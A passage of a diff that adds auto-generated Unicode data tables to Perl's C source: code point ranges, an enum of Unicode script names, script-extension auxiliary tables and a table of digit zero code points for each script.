+	0x10E7F,
+	0x11000,
+	0x1104E,
+	0x11052,
+	0x11070,
+	0x1107F,
+	0x11080,
+	0x110C2,
+	0x110D0,
+	0x110E9,
+	0x110F0,
+	0x110FA,
+	0x11100,
+	0x11135,
+	0x11136,
+	0x11144,
+	0x11150,
+	0x11177,
+	0x11180,
+	0x111CE,
+	0x111D0,
+	0x111E0,
+	0x111E1,
+	0x111F5,
+	0x11200,
+	0x11212,
+	0x11213,
+	0x1123F,
+	0x11280,
+	0x11287,
+	0x11288,
+	0x11289,
+	0x1128A,
+	0x1128E,
+	0x1128F,
+	0x1129E,
+	0x1129F,
+	0x112AA,
+	0x112B0,
+	0x112EB,
+	0x112F0,
+	0x112FA,
+	0x11300,
+	0x11301,
+	0x11302,
+	0x11303,
+	0x11304,
+	0x11305,
+	0x1130D,
+	0x1130F,
+	0x11311,
+	0x11313,
+	0x11329,
+	0x1132A,
+	0x11331,
+	0x11332,
+	0x11334,
+	0x11335,
+	0x1133A,
+	0x1133C,
+	0x1133D,
+	0x11345,
+	0x11347,
+	0x11349,
+	0x1134B,
+	0x1134E,
+	0x11350,
+	0x11351,
+	0x11357,
+	0x11358,
+	0x1135D,
+	0x11364,
+	0x11366,
+	0x1136D,
+	0x11370,
+	0x11375,
+	0x11400,
+	0x1145A,
+	0x1145B,
+	0x1145C,
+	0x1145D,
+	0x1145E,
+	0x11480,
+	0x114C8,
+	0x114D0,
+	0x114DA,
+	0x11580,
+	0x115B6,
+	0x115B8,
+	0x115DE,
+	0x11600,
+	0x11645,
+	0x11650,
+	0x1165A,
+	0x11660,
+	0x1166D,
+	0x11680,
+	0x116B8,
+	0x116C0,
+	0x116CA,
+	0x11700,
+	0x1171A,
+	0x1171D,
+	0x1172C,
+	0x11730,
+	0x11740,
+	0x118A0,
+	0x118F3,
+	0x118FF,
+	0x11900,
+	0x11A00,
+	0x11A48,
+	0x11A50,
+	0x11A84,
+	0x11A86,
+	0x11A9D,
+	0x11A9E,
+	0x11AA3,
+	0x11AC0,
+	0x11AF9,
+	0x11C00,
+	0x11C09,
+	0x11C0A,
+	0x11C37,
+	0x11C38,
+	0x11C46,
+	0x11C50,
+	0x11C6D,
+	0x11C70,
+	0x11C90,
+	0x11C92,
+	0x11CA8,
+	0x11CA9,
+	0x11CB7,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D48,
+	0x11D50,
+	0x11D5A,
+	0x12000,
+	0x1239A,
+	0x12400,
+	0x1246F,
+	0x12470,
+	0x12475,
+	0x12480,
+	0x12544,
+	0x13000,
+	0x1342F,
+	0x14400,
+	0x14647,
+	0x16800,
+	0x16A39,
+	0x16A40,
+	0x16A5F,
+	0x16A60,
+	0x16A6A,
+	0x16A6E,
+	0x16A70,
+	0x16AD0,
+	0x16AEE,
+	0x16AF0,
+	0x16AF6,
+	0x16B00,
+	0x16B46,
+	0x16B50,
+	0x16B5A,
+	0x16B5B,
+	0x16B62,
+	0x16B63,
+	0x16B78,
+	0x16B7D,
+	0x16B90,
+	0x16F00,
+	0x16F45,
+	0x16F50,
+	0x16F7F,
+	0x16F8F,
+	0x16FA0,
+	0x16FE0,
+	0x16FE1,
+	0x16FE2,
+	0x17000,
+	0x187ED,
+	0x18800,
+	0x18AF3,
+	0x1B000,
+	0x1B001,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
+	0x1BC00,
+	0x1BC6B,
+	0x1BC70,
+	0x1BC7D,
+	0x1BC80,
+	0x1BC89,
+	0x1BC90,
+	0x1BC9A,
+	0x1BC9C,
+	0x1BCA4,
+	0x1D000,
+	0x1D0F6,
+	0x1D100,
+	0x1D127,
+	0x1D129,
+	0x1D167,
+	0x1D16A,
+	0x1D17B,
+	0x1D183,
+	0x1D185,
+	0x1D18C,
+	0x1D1AA,
+	0x1D1AE,
+	0x1D1E9,
+	0x1D200,
+	0x1D246,
+	0x1D300,
+	0x1D357,
+	0x1D360,
+	0x1D372,
+	0x1D400,
+	0x1D455,
+	0x1D456,
+	0x1D49D,
+	0x1D49E,
+	0x1D4A0,
+	0x1D4A2,
+	0x1D4A3,
+	0x1D4A5,
+	0x1D4A7,
+	0x1D4A9,
+	0x1D4AD,
+	0x1D4AE,
+	0x1D4BA,
+	0x1D4BB,
+	0x1D4BC,
+	0x1D4BD,
+	0x1D4C4,
+	0x1D4C5,
+	0x1D506,
+	0x1D507,
+	0x1D50B,
+	0x1D50D,
+	0x1D515,
+	0x1D516,
+	0x1D51D,
+	0x1D51E,
+	0x1D53A,
+	0x1D53B,
+	0x1D53F,
+	0x1D540,
+	0x1D545,
+	0x1D546,
+	0x1D547,
+	0x1D54A,
+	0x1D551,
+	0x1D552,
+	0x1D6A6,
+	0x1D6A8,
+	0x1D7CC,
+	0x1D7CE,
+	0x1D800,
+	0x1DA8C,
+	0x1DA9B,
+	0x1DAA0,
+	0x1DAA1,
+	0x1DAB0,
+	0x1E000,
+	0x1E007,
+	0x1E008,
+	0x1E019,
+	0x1E01B,
+	0x1E022,
+	0x1E023,
+	0x1E025,
+	0x1E026,
+	0x1E02B,
+	0x1E800,
+	0x1E8C5,
+	0x1E8C7,
+	0x1E8D7,
+	0x1E900,
+	0x1E94B,
+	0x1E950,
+	0x1E95A,
+	0x1E95E,
+	0x1E960,
+	0x1EE00,
+	0x1EE04,
+	0x1EE05,
+	0x1EE20,
+	0x1EE21,
+	0x1EE23,
+	0x1EE24,
+	0x1EE25,
+	0x1EE27,
+	0x1EE28,
+	0x1EE29,
+	0x1EE33,
+	0x1EE34,
+	0x1EE38,
+	0x1EE39,
+	0x1EE3A,
+	0x1EE3B,
+	0x1EE3C,
+	0x1EE42,
+	0x1EE43,
+	0x1EE47,
+	0x1EE48,
+	0x1EE49,
+	0x1EE4A,
+	0x1EE4B,
+	0x1EE4C,
+	0x1EE4D,
+	0x1EE50,
+	0x1EE51,
+	0x1EE53,
+	0x1EE54,
+	0x1EE55,
+	0x1EE57,
+	0x1EE58,
+	0x1EE59,
+	0x1EE5A,
+	0x1EE5B,
+	0x1EE5C,
+	0x1EE5D,
+	0x1EE5E,
+	0x1EE5F,
+	0x1EE60,
+	0x1EE61,
+	0x1EE63,
+	0x1EE64,
+	0x1EE65,
+	0x1EE67,
+	0x1EE6B,
+	0x1EE6C,
+	0x1EE73,
+	0x1EE74,
+	0x1EE78,
+	0x1EE79,
+	0x1EE7D,
+	0x1EE7E,
+	0x1EE7F,
+	0x1EE80,
+	0x1EE8A,
+	0x1EE8B,
+	0x1EE9C,
+	0x1EEA1,
+	0x1EEA4,
+	0x1EEA5,
+	0x1EEAA,
+	0x1EEAB,
+	0x1EEBC,
+	0x1EEF0,
+	0x1EEF2,
+	0x1F000,
+	0x1F02C,
+	0x1F030,
+	0x1F094,
+	0x1F0A0,
+	0x1F0AF,
+	0x1F0B1,
+	0x1F0C0,
+	0x1F0C1,
+	0x1F0D0,
+	0x1F0D1,
+	0x1F0F6,
+	0x1F100,
+	0x1F10D,
+	0x1F110,
+	0x1F12F,
+	0x1F130,
+	0x1F16C,
+	0x1F170,
+	0x1F1AD,
+	0x1F1E6,
+	0x1F200,
+	0x1F201,
+	0x1F203,
+	0x1F210,
+	0x1F23C,
+	0x1F240,
+	0x1F249,
+	0x1F250,
+	0x1F252,
+	0x1F260,
+	0x1F266,
+	0x1F300,
+	0x1F6D5,
+	0x1F6E0,
+	0x1F6ED,
+	0x1F6F0,
+	0x1F6F9,
+	0x1F700,
+	0x1F774,
+	0x1F780,
+	0x1F7D5,
+	0x1F800,
+	0x1F80C,
+	0x1F810,
+	0x1F848,
+	0x1F850,
+	0x1F85A,
+	0x1F860,
+	0x1F888,
+	0x1F890,
+	0x1F8AE,
+	0x1F900,
+	0x1F90C,
+	0x1F910,
+	0x1F93F,
+	0x1F940,
+	0x1F94D,
+	0x1F950,
+	0x1F96C,
+	0x1F980,
+	0x1F998,
+	0x1F9C0,
+	0x1F9C1,
+	0x1F9D0,
+	0x1F9E7,
+	0x20000,
+	0x2A6D7,
+	0x2A700,
+	0x2B735,
+	0x2B740,
+	0x2B81E,
+	0x2B820,
+	0x2CEA2,
+	0x2CEB0,
+	0x2EBE1,
+	0x2F800,
+	0x2FA1E,
+	0xE0001,
+	0xE0002,
+	0xE0020,
+	0xE0080,
+	0xE0100,
+	0xE01F0
+};
+
+#   endif	/* ASCII/Latin1 */
+
+#endif	/* defined(PERL_IN_UTF8_C) */
+
+#if defined(PERL_IN_REGEXEC_C)
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+/* Negative enum values indicate the need to use an auxiliary table
+ * consisting of the list of enums this one expands to.  The absolute
+ * values of the negative enums are indices into a table of the auxiliary
+ * tables' addresses */
+typedef enum {
+	SCX_Unknown = 0,
+	SCX_Adlam = 1,
+	SCX_Ahom = 2,
+	SCX_Anatolian_Hieroglyphs = 3,
+	SCX_Arabic = 4,
+	SCX_Armenian = 5,
+	SCX_Avestan = 6,
+	SCX_Balinese = 7,
+	SCX_Bamum = 8,
+	SCX_Bassa_Vah = 9,
+	SCX_Batak = 10,
+	SCX_Bengali = 11,
+	SCX_Bhaiksuki = 12,
+	SCX_Bopomofo = 13,
+	SCX_Brahmi = 14,
+	SCX_Braille = 15,
+	SCX_Buginese = 16,
+	SCX_Buhid = 17,
+	SCX_Canadian_Aboriginal = 18,
+	SCX_Carian = 19,
+	SCX_Caucasian_Albanian = 20,
+	SCX_Chakma = 21,
+	SCX_Cham = 22,
+	SCX_Cherokee = 23,
+	SCX_Common = 24,
+	SCX_Coptic = 25,
+	SCX_Cuneiform = 26,
+	SCX_Cypriot = 27,
+	SCX_Cyrillic = 28,
+	SCX_Deseret = 29,
+	SCX_Devanagari = 30,
+	SCX_Duployan = 31,
+	SCX_Egyptian_Hieroglyphs = 32,
+	SCX_Elbasan = 33,
+	SCX_Ethiopic = 34,
+	SCX_Georgian = 35,
+	SCX_Glagolitic = 36,
+	SCX_Gothic = 37,
+	SCX_Grantha = 38,
+	SCX_Greek = 39,
+	SCX_Gujarati = 40,
+	SCX_Gurmukhi = 41,
+	SCX_Han = 42,
+	SCX_Hanb = 43,
+	SCX_Hangul = 44,
+	SCX_Hanunoo = 45,
+	SCX_Hatran = 46,
+	SCX_Hebrew = 47,
+	SCX_Hiragana = 48,
+	SCX_Imperial_Aramaic = 49,
+	SCX_Inherited = 50,
+	SCX_Inscriptional_Pahlavi = 51,
+	SCX_Inscriptional_Parthian = 52,
+	SCX_Javanese = 53,
+	SCX_Jpan = 54,
+	SCX_Kaithi = 55,
+	SCX_Kannada = 56,
+	SCX_Katakana = 57,
+	SCX_Kayah_Li = 58,
+	SCX_Kharoshthi = 59,
+	SCX_Khmer = 60,
+	SCX_Khojki = 61,
+	SCX_Khudawadi = 62,
+	SCX_Kore = 63,
+	SCX_Lao = 64,
+	SCX_Latin = 65,
+	SCX_Lepcha = 66,
+	SCX_Limbu = 67,
+	SCX_Linear_A = 68,
+	SCX_Linear_B = 69,
+	SCX_Lisu = 70,
+	SCX_Lycian = 71,
+	SCX_Lydian = 72,
+	SCX_Mahajani = 73,
+	SCX_Malayalam = 74,
+	SCX_Mandaic = 75,
+	SCX_Manichaean = 76,
+	SCX_Marchen = 77,
+	SCX_Masaram_Gondi = 78,
+	SCX_Meetei_Mayek = 79,
+	SCX_Mende_Kikakui = 80,
+	SCX_Meroitic_Cursive = 81,
+	SCX_Meroitic_Hieroglyphs = 82,
+	SCX_Miao = 83,
+	SCX_Modi = 84,
+	SCX_Mongolian = 85,
+	SCX_Mro = 86,
+	SCX_Multani = 87,
+	SCX_Myanmar = 88,
+	SCX_Nabataean = 89,
+	SCX_New_Tai_Lue = 90,
+	SCX_Newa = 91,
+	SCX_Nko = 92,
+	SCX_Nushu = 93,
+	SCX_Ogham = 94,
+	SCX_Ol_Chiki = 95,
+	SCX_Old_Hungarian = 96,
+	SCX_Old_Italic = 97,
+	SCX_Old_North_Arabian = 98,
+	SCX_Old_Permic = 99,
+	SCX_Old_Persian = 100,
+	SCX_Old_South_Arabian = 101,
+	SCX_Old_Turkic = 102,
+	SCX_Oriya = 103,
+	SCX_Osage = 104,
+	SCX_Osmanya = 105,
+	SCX_Pahawh_Hmong = 106,
+	SCX_Palmyrene = 107,
+	SCX_Pau_Cin_Hau = 108,
+	SCX_Phags_Pa = 109,
+	SCX_Phoenician = 110,
+	SCX_Psalter_Pahlavi = 111,
+	SCX_Rejang = 112,
+	SCX_Runic = 113,
+	SCX_Samaritan = 114,
+	SCX_Saurashtra = 115,
+	SCX_Sharada = 116,
+	SCX_Shavian = 117,
+	SCX_Siddham = 118,
+	SCX_SignWriting = 119,
+	SCX_Sinhala = 120,
+	SCX_Sora_Sompeng = 121,
+	SCX_Soyombo = 122,
+	SCX_Sundanese = 123,
+	SCX_Syloti_Nagri = 124,
+	SCX_Syriac = 125,
+	SCX_Tagalog = 126,
+	SCX_Tagbanwa = 127,
+	SCX_Tai_Le = 128,
+	SCX_Tai_Tham = 129,
+	SCX_Tai_Viet = 130,
+	SCX_Takri = 131,
+	SCX_Tamil = 132,
+	SCX_Tangut = 133,
+	SCX_Telugu = 134,
+	SCX_Thaana = 135,
+	SCX_Thai = 136,
+	SCX_Tibetan = 137,
+	SCX_Tifinagh = 138,
+	SCX_Tirhuta = 139,
+	SCX_Ugaritic = 140,
+	SCX_Vai = 141,
+	SCX_Warang_Citi = 142,
+	SCX_Yi = 143,
+	SCX_Zanabazar_Square = 144,
+	SCX_INVALID = 145,
+	SCX_use_AUX_TABLE_1 = -1,
+	SCX_use_AUX_TABLE_2 = -2,
+	SCX_use_AUX_TABLE_3 = -3,
+	SCX_use_AUX_TABLE_4 = -4,
+	SCX_use_AUX_TABLE_5 = -5,
+	SCX_use_AUX_TABLE_6 = -6,
+	SCX_use_AUX_TABLE_7 = -7,
+	SCX_use_AUX_TABLE_8 = -8,
+	SCX_use_AUX_TABLE_9 = -9,
+	SCX_use_AUX_TABLE_10 = -10,
+	SCX_use_AUX_TABLE_11 = -11,
+	SCX_use_AUX_TABLE_12 = -12,
+	SCX_use_AUX_TABLE_13 = -13,
+	SCX_use_AUX_TABLE_14 = -14,
+	SCX_use_AUX_TABLE_15 = -15,
+	SCX_use_AUX_TABLE_16 = -16,
+	SCX_use_AUX_TABLE_17 = -17,
+	SCX_use_AUX_TABLE_18 = -18,
+	SCX_use_AUX_TABLE_19 = -19,
+	SCX_use_AUX_TABLE_20 = -20,
+	SCX_use_AUX_TABLE_21 = -21,
+	SCX_use_AUX_TABLE_22 = -22,
+	SCX_use_AUX_TABLE_23 = -23,
+	SCX_use_AUX_TABLE_24 = -24,
+	SCX_use_AUX_TABLE_25 = -25,
+	SCX_use_AUX_TABLE_26 = -26,
+	SCX_use_AUX_TABLE_27 = -27,
+	SCX_use_AUX_TABLE_28 = -28,
+	SCX_use_AUX_TABLE_29 = -29,
+	SCX_use_AUX_TABLE_30 = -30,
+	SCX_use_AUX_TABLE_31 = -31,
+	SCX_use_AUX_TABLE_32 = -32,
+	SCX_use_AUX_TABLE_33 = -33,
+	SCX_use_AUX_TABLE_34 = -34,
+	SCX_use_AUX_TABLE_35 = -35,
+	SCX_use_AUX_TABLE_36 = -36,
+	SCX_use_AUX_TABLE_37 = -37,
+	SCX_use_AUX_TABLE_38 = -38,
+	SCX_use_AUX_TABLE_39 = -39,
+	SCX_use_AUX_TABLE_40 = -40,
+	SCX_use_AUX_TABLE_41 = -41,
+	SCX_use_AUX_TABLE_42 = -42,
+	SCX_use_AUX_TABLE_43 = -43,
+	SCX_use_AUX_TABLE_44 = -44,
+	SCX_use_AUX_TABLE_45 = -45
+} SCX_enum;
+
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
+#define HAS_SCX_AUX_TABLES
+
+static const SCX_enum SCX_AUX_TABLE_1[] = {
+	SCX_Bopomofo,
+	SCX_Hanb
+};
+
+static const SCX_enum SCX_AUX_TABLE_2[] = {
+	SCX_Cyrillic,
+	SCX_Old_Permic
+};
+
+static const SCX_enum SCX_AUX_TABLE_3[] = {
+	SCX_Cyrillic,
+	SCX_Glagolitic
+};
+
+static const SCX_enum SCX_AUX_TABLE_4[] = {
+	SCX_Cyrillic,
+	SCX_Latin
+};
+
+static const SCX_enum SCX_AUX_TABLE_5[] = {
+	SCX_Armenian,
+	SCX_Georgian
+};
+
+static const SCX_enum SCX_AUX_TABLE_6[] = {
+	SCX_Arabic,
+	SCX_Syriac,
+	SCX_Thaana
+};
+
+static const SCX_enum SCX_AUX_TABLE_7[] = {
+	SCX_Adlam,
+	SCX_Arabic,
+	SCX_Mandaic,
+	SCX_Manichaean,
+	SCX_Psalter_Pahlavi,
+	SCX_Syriac
+};
+
+static const SCX_enum SCX_AUX_TABLE_8[] = {
+	SCX_Arabic,
+	SCX_Syriac
+};
+
+static const SCX_enum SCX_AUX_TABLE_9[] = {
+	SCX_Arabic,
+	SCX_Thaana
+};
+
+static const SCX_enum SCX_AUX_TABLE_10[] = {
+	SCX_Bengali,
+	SCX_Devanagari,
+	SCX_Grantha,
+	SCX_Gujarati,
+	SCX_Gurmukhi,
+	SCX_Kannada,
+	SCX_Latin,
+	SCX_Malayalam,
+	SCX_Oriya,
+	SCX_Sharada,
+	SCX_Tamil,
+	SCX_Telugu
+};
+
+static const SCX_enum SCX_AUX_TABLE_11[] = {
+	SCX_Bengali,
+	SCX_Devanagari,
+	SCX_Grantha,
+	SCX_Gujarati,
+	SCX_Gurmukhi,
+	SCX_Kannada,
+	SCX_Latin,
+	SCX_Malayalam,
+	SCX_Oriya,
+	SCX_Tamil,
+	SCX_Telugu
+};
+
+static const SCX_enum SCX_AUX_TABLE_12[] = {
+	SCX_Bengali,
+	SCX_Devanagari,
+	SCX_Grantha,
+	SCX_Gujarati,
+	SCX_Gurmukhi,
+	SCX_Kannada,
+	SCX_Khudawadi,
+	SCX_Mahajani,
+	SCX_Malayalam,
+	SCX_Oriya,
+	SCX_Sinhala,
+	SCX_Syloti_Nagri,
+	SCX_Takri,
+	SCX_Tamil,
+	SCX_Telugu,
+	SCX_Tirhuta
+};
+
+static const SCX_enum SCX_AUX_TABLE_13[] = {
+	SCX_Bengali,
+	SCX_Devanagari,
+	SCX_Grantha,
+	SCX_Gujarati,
+	SCX_Gurmukhi,
+	SCX_Kannada,
+	SCX_Khudawadi,
+	SCX_Limbu,
+	SCX_Mahajani,
+	SCX_Malayalam,
+	SCX_Oriya,
+	SCX_Sinhala,
+	SCX_Syloti_Nagri,
+	SCX_Takri,
+	SCX_Tamil,
+	SCX_Telugu,
+	SCX_Tirhuta
+};
+
+static const SCX_enum SCX_AUX_TABLE_14[] = {
+	SCX_Devanagari,
+	SCX_Kaithi,
+	SCX_Mahajani
+};
+
+static const SCX_enum SCX_AUX_TABLE_15[] = {
+	SCX_Bengali,
+	SCX_Chakma,
+	SCX_Syloti_Nagri
+};
+
+static const SCX_enum SCX_AUX_TABLE_16[] = {
+	SCX_Gurmukhi,
+	SCX_Multani
+};
+
+static const SCX_enum SCX_AUX_TABLE_17[] = {
+	SCX_Gujarati,
+	SCX_Khojki
+};
+
+static const SCX_enum SCX_AUX_TABLE_18[] = {
+	SCX_Grantha,
+	SCX_Tamil
+};
+
+static const SCX_enum SCX_AUX_TABLE_19[] = {
+	SCX_Chakma,
+	SCX_Myanmar,
+	SCX_Tai_Le
+};
+
+static const SCX_enum SCX_AUX_TABLE_20[] = {
+	SCX_Georgian,
+	SCX_Latin
+};
+
+static const SCX_enum SCX_AUX_TABLE_21[] = {
+	SCX_Hangul,
+	SCX_Kore
+};
+
+static const SCX_enum SCX_AUX_TABLE_22[] = {
+	SCX_Buhid,
+	SCX_Hanunoo,
+	SCX_Tagalog,
+	SCX_Tagbanwa
+};
+
+static const SCX_enum SCX_AUX_TABLE_23[] = {
+	SCX_Mongolian,
+	SCX_Phags_Pa
+};
+
+static const SCX_enum SCX_AUX_TABLE_24[] = {
+	SCX_Devanagari,
+	SCX_Grantha
+};
+
+static const SCX_enum SCX_AUX_TABLE_25[] = {
+	SCX_Devanagari,
+	SCX_Sharada
+};
+
+static const SCX_enum SCX_AUX_TABLE_26[] = {
+	SCX_Devanagari,
+	SCX_Kannada,
+	SCX_Malayalam,
+	SCX_Tamil,
+	SCX_Telugu
+};
+
+static const SCX_enum SCX_AUX_TABLE_27[] = {
+	SCX_Devanagari,
+	SCX_Kannada
+};
+
+static const SCX_enum SCX_AUX_TABLE_28[] = {
+	SCX_Devanagari,
+	SCX_Grantha,
+	SCX_Latin
+};
+
+static const SCX_enum SCX_AUX_TABLE_29[] = {
+	SCX_Han,
+	SCX_Hanb,
+	SCX_Jpan,
+	SCX_Kore
+};
+
+static const SCX_enum SCX_AUX_TABLE_30[] = {
+	SCX_Bopomofo,
+	SCX_Han,
+	SCX_Hanb,
+	SCX_Hangul,
+	SCX_Hiragana,
+	SCX_Jpan,
+	SCX_Katakana,
+	SCX_Kore,
+	SCX_Yi
+};
+
+static const SCX_enum SCX_AUX_TABLE_31[] = {
+	SCX_Bopomofo,
+	SCX_Han,
+	SCX_Hanb,
+	SCX_Hangul,
+	SCX_Hiragana,
+	SCX_Jpan,
+	SCX_Katakana,
+	SCX_Kore
+};
+
+static const SCX_enum SCX_AUX_TABLE_32[] = {
+	SCX_Bopomofo,
+	SCX_Han,
+	SCX_Hanb,
+	SCX_Jpan,
+	SCX_Kore
+};
+
+static const SCX_enum SCX_AUX_TABLE_33[] = {
+	SCX_Hiragana,
+	SCX_Jpan,
+	SCX_Katakana
+};
+
+static const SCX_enum SCX_AUX_TABLE_34[] = {
+	SCX_Han,
+	SCX_Hanb,
+	SCX_Hiragana,
+	SCX_Jpan,
+	SCX_Katakana,
+	SCX_Kore
+};
+
+static const SCX_enum SCX_AUX_TABLE_35[] = {
+	SCX_Hiragana,
+	SCX_Jpan
+};
+
+static const SCX_enum SCX_AUX_TABLE_36[] = {
+	SCX_Jpan,
+	SCX_Katakana
+};
+
+static const SCX_enum SCX_AUX_TABLE_37[] = {
+	SCX_Devanagari,
+	SCX_Gujarati,
+	SCX_Gurmukhi,
+	SCX_Kaithi,
+	SCX_Kannada,
+	SCX_Khudawadi,
+	SCX_Mahajani,
+	SCX_Modi,
+	SCX_Takri,
+	SCX_Tirhuta
+};
+
+static const SCX_enum SCX_AUX_TABLE_38[] = {
+	SCX_Devanagari,
+	SCX_Gujarati,
+	SCX_Gurmukhi,
+	SCX_Kaithi,
+	SCX_Khudawadi,
+	SCX_Mahajani,
+	SCX_Modi,
+	SCX_Takri,
+	SCX_Tirhuta
+};
+
+static const SCX_enum SCX_AUX_TABLE_39[] = {
+	SCX_Bengali,
+	SCX_Devanagari
+};
+
+static const SCX_enum SCX_AUX_TABLE_40[] = {
+	SCX_Devanagari,
+	SCX_Tamil
+};
+
+static const SCX_enum SCX_AUX_TABLE_41[] = {
+	SCX_Kayah_Li,
+	SCX_Latin,
+	SCX_Myanmar
+};
+
+static const SCX_enum SCX_AUX_TABLE_42[] = {
+	SCX_Buginese,
+	SCX_Javanese
+};
+
+static const SCX_enum SCX_AUX_TABLE_43[] = {
+	SCX_Cypriot,
+	SCX_Linear_B
+};
+
+static const SCX_enum SCX_AUX_TABLE_44[] = {
+	SCX_Cypriot,
+	SCX_Linear_A,
+	SCX_Linear_B
+};
+
+static const SCX_enum SCX_AUX_TABLE_45[] = {
+	SCX_Arabic,
+	SCX_Coptic
+};
+
+static const SCX_enum * const SCX_AUX_TABLE_ptrs[] = {
+	NULL,	/* Placeholder */
+	SCX_AUX_TABLE_1,
+	SCX_AUX_TABLE_2,
+	SCX_AUX_TABLE_3,
+	SCX_AUX_TABLE_4,
+	SCX_AUX_TABLE_5,
+	SCX_AUX_TABLE_6,
+	SCX_AUX_TABLE_7,
+	SCX_AUX_TABLE_8,
+	SCX_AUX_TABLE_9,
+	SCX_AUX_TABLE_10,
+	SCX_AUX_TABLE_11,
+	SCX_AUX_TABLE_12,
+	SCX_AUX_TABLE_13,
+	SCX_AUX_TABLE_14,
+	SCX_AUX_TABLE_15,
+	SCX_AUX_TABLE_16,
+	SCX_AUX_TABLE_17,
+	SCX_AUX_TABLE_18,
+	SCX_AUX_TABLE_19,
+	SCX_AUX_TABLE_20,
+	SCX_AUX_TABLE_21,
+	SCX_AUX_TABLE_22,
+	SCX_AUX_TABLE_23,
+	SCX_AUX_TABLE_24,
+	SCX_AUX_TABLE_25,
+	SCX_AUX_TABLE_26,
+	SCX_AUX_TABLE_27,
+	SCX_AUX_TABLE_28,
+	SCX_AUX_TABLE_29,
+	SCX_AUX_TABLE_30,
+	SCX_AUX_TABLE_31,
+	SCX_AUX_TABLE_32,
+	SCX_AUX_TABLE_33,
+	SCX_AUX_TABLE_34,
+	SCX_AUX_TABLE_35,
+	SCX_AUX_TABLE_36,
+	SCX_AUX_TABLE_37,
+	SCX_AUX_TABLE_38,
+	SCX_AUX_TABLE_39,
+	SCX_AUX_TABLE_40,
+	SCX_AUX_TABLE_41,
+	SCX_AUX_TABLE_42,
+	SCX_AUX_TABLE_43,
+	SCX_AUX_TABLE_44,
+	SCX_AUX_TABLE_45
+};
+
+/* Parallel table to the above, giving the number of elements in each table
+ * pointed to */
+static const U8 SCX_AUX_TABLE_lengths[] = {
+	0,	/* Placeholder */
+	2	/* SCX_AUX_TABLE_1 */,
+	2	/* SCX_AUX_TABLE_2 */,
+	2	/* SCX_AUX_TABLE_3 */,
+	2	/* SCX_AUX_TABLE_4 */,
+	2	/* SCX_AUX_TABLE_5 */,
+	3	/* SCX_AUX_TABLE_6 */,
+	6	/* SCX_AUX_TABLE_7 */,
+	2	/* SCX_AUX_TABLE_8 */,
+	2	/* SCX_AUX_TABLE_9 */,
+	12	/* SCX_AUX_TABLE_10 */,
+	11	/* SCX_AUX_TABLE_11 */,
+	16	/* SCX_AUX_TABLE_12 */,
+	17	/* SCX_AUX_TABLE_13 */,
+	3	/* SCX_AUX_TABLE_14 */,
+	3	/* SCX_AUX_TABLE_15 */,
+	2	/* SCX_AUX_TABLE_16 */,
+	2	/* SCX_AUX_TABLE_17 */,
+	2	/* SCX_AUX_TABLE_18 */,
+	3	/* SCX_AUX_TABLE_19 */,
+	2	/* SCX_AUX_TABLE_20 */,
+	2	/* SCX_AUX_TABLE_21 */,
+	4	/* SCX_AUX_TABLE_22 */,
+	2	/* SCX_AUX_TABLE_23 */,
+	2	/* SCX_AUX_TABLE_24 */,
+	2	/* SCX_AUX_TABLE_25 */,
+	5	/* SCX_AUX_TABLE_26 */,
+	2	/* SCX_AUX_TABLE_27 */,
+	3	/* SCX_AUX_TABLE_28 */,
+	4	/* SCX_AUX_TABLE_29 */,
+	9	/* SCX_AUX_TABLE_30 */,
+	8	/* SCX_AUX_TABLE_31 */,
+	5	/* SCX_AUX_TABLE_32 */,
+	3	/* SCX_AUX_TABLE_33 */,
+	6	/* SCX_AUX_TABLE_34 */,
+	2	/* SCX_AUX_TABLE_35 */,
+	2	/* SCX_AUX_TABLE_36 */,
+	10	/* SCX_AUX_TABLE_37 */,
+	9	/* SCX_AUX_TABLE_38 */,
+	2	/* SCX_AUX_TABLE_39 */,
+	2	/* SCX_AUX_TABLE_40 */,
+	3	/* SCX_AUX_TABLE_41 */,
+	2	/* SCX_AUX_TABLE_42 */,
+	2	/* SCX_AUX_TABLE_43 */,
+	3	/* SCX_AUX_TABLE_44 */,
+	2	/* SCX_AUX_TABLE_45 */
+};
+
+/* This table, indexed by the script enum, gives the zero code point for that
+ * script; 0 if the script has multiple digit sequences.  Scripts without a
+ * digit sequence use ASCII [0-9], hence are marked '0' */
+static const UV script_zeros[] = {
+	'0',	/* Unknown */
+	0x1e950,	/* Adlam */
+	0x11730,	/* Ahom */
+	'0',	/* Anatolian_Hieroglyphs */
+	 0,	/* Arabic */
+	'0',	/* Armenian */
+	'0',	/* Avestan */
+	0x1b50,	/* Balinese */
+	'0',	/* Bamum */
+	'0',	/* Bassa_Vah */
+	'0',	/* Batak */
+	0x9e6,	/* Bengali */
+	0x11c50,	/* Bhaiksuki */
+	'0',	/* Bopomofo */
+	0x11066,	/* Brahmi */
+	'0',	/* Braille */
+	'0',	/* Buginese */
+	'0',	/* Buhid */
+	'0',	/* Canadian_Aboriginal */
+	'0',	/* Carian */
+	'0',	/* Caucasian_Albanian */
+	 0,	/* Chakma */
+	0xaa50,	/* Cham */
+	'0',	/* Cherokee */
+	 0,	/* Common */
+	'0',	/* Coptic */
+	'0',	/* Cuneiform */
+	'0',	/* Cypriot */
+	'0',	/* Cyrillic */
+	'0',	/* Deseret */
+	0x966,	/* Devanagari */
+	'0',	/* Duployan */
+	'0',	/* Egyptian_Hieroglyphs */
+	'0',	/* Elbasan */
+	'0',	/* Ethiopic */
+	'0',	/* Georgian */
+	'0',	/* Glagolitic */
+	'0',	/* Gothic */
+	0xbe6,	/* Grantha */
+	'0',	/* Greek */
+	0xae6,	/* Gujarati */
+	0xa66,	/* Gurmukhi */
+	'0',	/* Han */
+	'0',	/* Hanb */
+	'0',	/* Hangul */
+	'0',	/* Hanunoo */
+	'0',	/* Hatran */
+	'0',	/* Hebrew */
+	'0',	/* Hiragana */
+	'0',	/* Imperial_Aramaic */
+	 0,	/* Inherited */
+	'0',	/* Inscriptional_Pahlavi */
+	'0',	/* Inscriptional_Parthian */
+	0xa9d0,	/* Javanese */
+	'0',	/* Jpan */
+	0x966,	/* Kaithi */
+	0xce6,	/* Kannada */
+	'0',	/* Katakana */
+	0xa900,	/* Kayah_Li */
+	'0',	/* Kharoshthi */
+	0x17e0,	/* Khmer */
+	0xae6,	/* Khojki */
